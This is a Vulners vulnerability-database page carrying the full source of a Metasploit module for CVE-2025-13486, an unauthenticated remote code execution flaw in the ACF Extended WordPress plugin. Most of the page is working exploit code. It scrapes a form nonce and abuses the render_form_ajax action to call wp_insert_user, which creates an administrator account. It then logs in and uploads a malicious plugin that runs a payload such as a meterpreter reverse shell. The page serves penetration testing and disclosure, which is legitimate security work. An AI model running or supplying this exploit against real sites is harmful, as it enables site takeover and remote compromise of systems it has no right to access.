Lucene search
K

WordPress ACF Extended Unauthenticated RCE via prepare_form()

🗓️ 19 Dec 2025 18:55:36Reported by Marcin Dudek (dudekmar) - CERT.PL, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 472 Views

Unauthenticated RCE in WordPress ACF Extended via prepare_form function.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-13486
19 Dec 202510:49
githubexploit
GithubExploit
Exploit for CVE-2025-13486
3 Dec 202517:22
githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202507:54
githubexploit
GithubExploit
Ntemplatesbyxit
7 May 202615:36
githubexploit
GithubExploit
Exploit for CVE-2025-13486
5 Dec 202507:57
githubexploit
GithubExploit
Exploit for CVE-2025-13486
6 Dec 202513:54
githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202523:28
githubexploit
Circl
CVE-2025-13486
3 Dec 202506:26
circl
CNNVD
WordPress plugin Advanced Custom Fields Extended 代码注入漏洞
3 Dec 202500:00
cnnvd
CVE
CVE-2025-13486
3 Dec 202506:47
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
        'Description' => %q{
          This module exploits an unauthenticated Remote Code Execution vulnerability in the
          Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
          through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
          acfe_module_form_front_render class, which accepts user-controlled input via the
          form[render] parameter and passes it directly to call_user_func_array() without
          proper sanitization.

          This exploit requires a WordPress page containing an ACF Extended form widget, which
          exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
          must be set to the path of such a page.

          Once an administrator account is created via wp_insert_user(), the module uploads
          and executes a malicious plugin to achieve remote code execution (RCE).
        },
        'Author' => [
          'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
          'Valentin Lobstein <[email protected]>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-13486'],
          ['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'DisclosureDate' => '2025-12-02',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
      OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
      OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
      OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
    ])
  end

  def check
    return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def exploit
    unless wordpress_and_online?
      fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
    end

    admin_cookie = create_admin_user
    upload_and_execute_payload(admin_cookie)
  end

  def ensure_nonce
    return if @nonce

    @nonce = find_nonce
    fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
  end

  def find_nonce
    nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
    res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
    return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i

    Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
  end

  def send_exploit_request
    ensure_nonce

    send_request_cgi(
      'method' => 'POST',
      'uri' => wordpress_url_admin_ajax,
      'vars_post' => {
        'action' => 'acfe/form/render_form_ajax',
        'nonce' => @nonce,
        'form[render]' => 'wp_insert_user',
        'form[user_login]' => datastore['USERNAME'],
        'form[user_email]' => datastore['EMAIL'],
        'form[user_pass]' => datastore['PASSWORD'],
        'form[role]' => 'administrator'
      }
    )
  end

  def create_admin_user
    res = send_exploit_request
    fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}

    print_good('Administrator account created successfully')

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
    cookie
  end

  def upload_and_execute_payload(admin_cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

    zip = generate_plugin(plugin_name, payload_name)
    unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
    end

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")

    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 19:02Current
9High risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.73557
SSVC
472